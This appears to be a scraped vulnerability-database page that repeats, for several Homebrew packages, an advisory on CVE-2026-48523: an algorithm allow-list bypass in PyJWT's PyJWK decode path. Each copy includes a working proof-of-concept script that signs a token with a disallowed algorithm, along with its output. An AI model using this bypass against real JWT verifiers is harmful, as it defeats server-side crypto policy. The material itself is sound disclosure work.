# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.13.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "semgrep",
"purl": "pkg:brew/semgrep"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.172.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.13.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.13.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-semgrep-CVE-2026-48523",
"modified": "2026-09-10T01:12:04Z",
"published": "2026-08-13T17:34:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
BREW-SIGSTORE-CVE-2026-48523 (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-10 01:12 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.13.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "sigstore",
"purl": "pkg:brew/sigstore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.13.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.13.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-sigstore-CVE-2026-48523",
"modified": "2026-09-10T01:12:53Z",
"published": "2026-08-13T17:34:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
BREW-SNOWFLAKE-CLI-CVE-2… (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:35 – Updated: 2026-09-28 17:46 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
